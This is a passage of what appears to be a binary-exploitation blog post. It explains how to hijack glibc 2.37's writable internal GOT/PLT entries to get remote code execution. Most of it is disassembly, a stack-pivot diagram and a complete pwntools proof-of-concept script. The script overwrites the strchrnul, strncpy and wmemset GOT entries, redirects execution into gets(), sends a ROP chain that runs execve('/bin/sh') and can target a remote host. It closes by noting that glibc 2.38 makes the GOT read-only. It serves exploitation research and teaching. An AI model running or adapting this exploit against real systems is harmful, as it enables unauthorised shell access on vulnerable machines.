.text:000000000014E069 lea rdi, [rsp+1270h+var_126B]
.text:000000000014E06E mov rsi, r13
.text:000000000014E071 mov [rsp+1270h+var_126C], 5Fh ; '_'
.text:000000000014E076 call j_stpcpy
.text:000000000016A121 lea rdi, [rsp+528h+var_510]
.text:000000000016A126 mov edx, 20h ; ' '
.text:000000000016A12B lea rsi, [rsp+528h+var_213]
.text:000000000016A133 call j_strncpy
.text:000000000016A288 lea rdi, [rsp+548h+var_530]
.text:000000000016A28D mov edx, 20h ; ' '
.text:000000000016A292 call j_strncpy
.text:000000000016C2A9 lea rdi, [rsp+11D8h+var_11C0]
.text:000000000016C2AE mov edx, 20h ; ' '
.text:000000000016C2B3 call j_strncpy
.text:000000000016C471 lea rdi, [rsp+348h+var_320]
.text:000000000016C476 mov [rsp+348h+var_328], dx
.text:000000000016C47B mov edx, 20h ; ' '
.text:000000000016C480 xor ebx, ebx
.text:000000000016C482 call j_strncpy
.text:000000000016C5D5 lea rdi, [rsp+1C8h+var_1B0]
.text:000000000016C5DA mov rsi, r13
.text:000000000016C5DD mov [rsp+1C8h+var_1B4], eax
.text:000000000016C5E1 mov eax, 7
.text:000000000016C5E6 mov edx, 20h ; ' '
.text:000000000016C5EB adc ax, 0
.text:000000000016C5EF mov [rsp+1C8h+var_1B8], ax
.text:000000000016C5F4 call j_strncpy
.text:000000000016C5F9 lea rdi, [rsp+1C8h+var_18C]
.text:000000000016C5FE mov edx, 20h ; ' '
.text:000000000016C603 mov rsi, rbx
.text:000000000016C606 call j_strncpy
.text:000000000016C60B mov edx, 100h
.text:000000000016C610 lea rdi, [rsp+1C8h+var_16C]
.text:000000000016C615 mov rsi, r12
.text:000000000016C618 call j_strncpy
Attack Chain
No doubt—strchrnul@got
is a solid starting point, since it's reliably invoked by printf
.
But the real question: where to jump?
Let's walk through one of the matched cases from the .LST
findings:
.text:000000000016A288 lea rdi, [rsp+0x18]
.text:000000000016A28D mov edx, 20h ; ' '
.text:000000000016A292 call j_strncpy
This assigns rdi
value to somewhere near rsp
, and then calls strncpy.got
:
rdi = rsp + 0x18
→ sets uprdi
— the destination buffer very close torsp
edx = 0x20
→ sets the third argument (copy length)call j_strncpy
→ this will jump to the address instrncpy@got
Next, we can overwrites strncpy@got
to point to another gadget with 4 pop
s:
.text:00000000000CD548 pop rbx
.text:00000000000CD549 pop rbp
.text:00000000000CD54A pop r12
.text:00000000000CD54C pop r13
.text:00000000000CD54E jmp j_wmemset_0
- After the 4 pops,
rsp
has moved up 0x20 (4 × 8 bytes) - The initial
lea rdi, [rsp+0x18]
(from before thecall
) means:- It computed
rdi = rsp + 0x18
before thecall
- But then 4 pops during the fake "strncpy" call cause
rsp
to advance - After these 4 pops,
rdi
effectively equals the newrsp
- It computed
When jmp j_wmemset_0
happens, and if wmemset@got
is further redirected to gets()
, it becomes:
gets(rdi); // rdi == rsp
Boom — we're writing user input directly onto the stack. The ROP chain resumes from there.
This is a classic self-feeding pivot. We can use a diagram to explain the workflow:
[lower address]
+------------------------------+
| value1 (pop → rbx) | ← rsp after call j_strncpy (pushed ret)
+------------------------------+
| value2 (pop → rbp) | ← origin rsp before call j_strncpy
+------------------------------+
| value3 (pop → r12) |
+------------------------------+
| value4 (pop → r13) |
+------------------------------+
| jmp j_wmemset_0 | ← rsp+0x18 (set as rdi!)
| hijack as jmp gets() | ← final rsp after 4 pops
+------------------------------+
▲
gets(rdi = rsp)
reads input here:
[ROP gadget 1]
[ROP gadget 2]
...
[higher address]
In summary, we need to:
- Overwrite
strchrnul@got
→0x16A288
callingj_strncpy
(__strncpy_avx2
) - Overwrite
j_strncpy
(strncpy@got
) →0xCD548
jumping toj_wmemset_0
(__wmemset_sse2_unaligned
) after 4 pops - Overwrite
j_wmemset_0
(wmemset@got
) →gets()
and reads ROP gadgets
PoC Script
Download: link
# Title : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author : Axura
# Target : GLIBC 2.37-0ubuntu2.2 (Ubuntu 23.04)
# Website : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, ROP, Direct GOT call, j_strncpy, j_wmemset_0
import sys
import inspect
from pwn import *
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delim, drop=True :p.recvuntil(delim, drop)
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64 = lambda data :u64(data.ljust(8, b"\0"))
def g(gdbscript: str = ""):
if mode["local"]:
gdb.attach(p, gdbscript=gdbscript)
elif mode["remote"]:
gdb.attach((remote_ip_addr, remote_port), gdbscript)
if gdbscript == "":
raw_input()
def pa(addr: int) -> None:
frame = inspect.currentframe().f_back
variables = {k: v for k, v in frame.f_locals.items() if v is addr}
desc = next(iter(variables.keys()), "unknown")
success(f"[LEAK] {desc} ---> {addr:#x}")
class ROPGadgets:
def __init__(self, libc: ELF):
self.rop = ROP(libc)
self.addr = lambda x: self.rop.find_gadget(x)[0] if self.rop.find_gadget(x) else None
self.ggs = {
'p_rdi_r' : self.addr(['pop rdi', 'ret']),
'p_rsi_r' : self.addr(['pop rsi', 'ret']),
'p_rdx_rbx_r' : self.addr(['pop rdx', 'pop rbx', 'ret']),
'p_r15_r' : self.addr(['pop r15', 'ret']),
'p_rax_r' : self.addr(['pop rax', 'ret']),
'p_rsp_r' : self.addr(['pop rsp', 'ret']),
'leave_r' : self.addr(['leave', 'ret']),
'ret' : self.addr(['ret']),
'syscall_r' : self.addr(['syscall', 'ret']),
}
def __getitem__(self, k: str) -> int:
return self.ggs.get(k)
def hijack_got(libc: ELF) -> (int, bytes):
global STRNCPY_GOT_OFFSET
global STRCHRNUL_GOT_OFFSET
global WMEMSET_GOT_OFFSET
got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
strncpy_got = got0 + STRNCPY_GOT_OFFSET
strchrnul_got = got0 + STRCHRNUL_GOT_OFFSET
wmemset_got = got0 + WMEMSET_GOT_OFFSET
gets_addr = libc.sym.gets
pa(got0)
pa(plt0)
pa(strncpy_got)
pa(strchrnul_got)
pa(wmemset_got)
pa(gets_addr)
# GOT order: strncpy -> strchrnul -> wmemset
write_dest = strncpy_got
"""
# Overwrite strchnul@got with:
.text:000000000016A288 lea rdi, [rsp+0x18]
.text:000000000016A28D mov edx, 20h ; ' '
.text:000000000016A292 call j_strncpy
# Overwrite strncpy@got with:
.text:00000000000CD548 pop rbx
.text:00000000000CD549 pop rbp
.text:00000000000CD54A pop r12
.text:00000000000CD54C pop r13
.text:00000000000CD54E jmp j_wmemset_0
# Overwrite wmemset@got with gets()
"""
gg1 = libc.address + 0x16a288
gg2 = libc.address + 0xcd548
write_data = flat({
0x0: gg2,
STRCHRNUL_GOT_OFFSET - STRNCPY_GOT_OFFSET: gg1,
WMEMSET_GOT_OFFSET - STRNCPY_GOT_OFFSET: gets_addr,
})
return write_dest, write_data
def exp():
"""
11ee: e8 5d fe ff ff call 1050 <printf@plt>
"""
# g("breakrva 0x11ee")
leak = int(ru(b"\n"), 16)
libc_base = leak - libc.sym.printf
pa(libc_base)
libc.address = libc_base
ggs = ROPGadgets(libc)
p_rdi_r = ggs["p_rdi_r"]
p_rsi_r = ggs["p_rsi_r"]
p_rdx_rbx_r = ggs["p_rdx_rbx_r"]
rop_chain = flat(
p_rdi_r,
libc.search(b"/bin/sh\x00").__next__(),
p_rsi_r,
0,
p_rdx_rbx_r,
0, 0,
libc.sym.execve,
)
pivot = ggs["p_rsp_r"]
jump = ggs["p_r15_r"]
write_dest, write_data = hijack_got(libc)
s(p64(write_dest))
s(p64(len(write_data)))
s(write_data)
success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))
log.info("Send ROP gadgets chain:\n")
sl(rop_chain)
# pause()
p.interactive()
if __name__ == '__main__':
"""pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
08:0040│ 0x71427033f028 (*ABS*@got.plt) —▸ 0x7142701f66d0 (__wmemset_sse2_unaligned) ◂— endbr64
12:0090│ 0x7ffff7fac078 (*ABS*@got.plt) —▸ 0x7ffff7f2b780 (__strncpy_avx2) ◂— endbr64
18:00c0│ 0x7ffff7fac0a8 (*ABS*@got.plt) —▸ 0x7ffff7f296a0 (__strchrnul_avx2) ◂— endbr64
1c:00e0│ 0x7ffff7fac0c8 (*ABS*@got.plt) —▸ 0x7ffff7e636d0 (__wmemset_sse2_unaligned) ◂— endbr64"""
STRNCPY_GOT_OFFSET = 0x90
STRCHRNUL_GOT_OFFSET = 0xc0
WMEMSET_GOT_OFFSET = 0xe0
FILE_PATH = "./vuln"
LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"
context(arch="amd64", os="linux", endian="little")
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h'] # ['<terminal_emulator>', '-e', ...]
e = ELF(FILE_PATH, checksec=False)
mode = {"local": False, "remote": False, }
env = None
print("Usage: python3 xpl.py [<ip> <port>]\n"
" - If no arguments are provided, runs in local mode (default).\n"
" - Provide <ip> and <port> to target a remote host.\n")
if len(sys.argv) == 3:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
p = remote(sys.argv[1], int(sys.argv[2]))
mode["remote"] = True
remote_ip_addr = sys.argv[1]
remote_port = int(sys.argv[2])
elif len(sys.argv) == 1:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
env = {
"LD_PRELOAD": os.path.abspath(LIBC_PATH),
"LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
}
p = process(FILE_PATH, env=env)
mode["local"] = True
else:
print("[-] Error: Invalid arguments provided.")
sys.exit(1)
exp()
Run
Inspecting the hijacked GOT entries:

Gadgets deployed in the trampoline chain:

And finally—pwned:

Patch
As mentioned in PoC 8, glibc 2.36+ introduced a patch marking GOT0 as read-only. But starting with glibc 2.38, things go further—all libc GOT regions are placed in read-only pages:

Tested environment:
$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.38-3ubuntu1) stable release version 2.38.
Copyright (C) 2023 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 13.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
With GOT entries fully protected, this closes the door on the hijack method explored above.
This marks the end of the attack chain.
Reference
https://veritas501.github.io/2023_12_07-glibc_got_hijack%E5%AD%A6%E4%B9%A0
Comments | NOTHING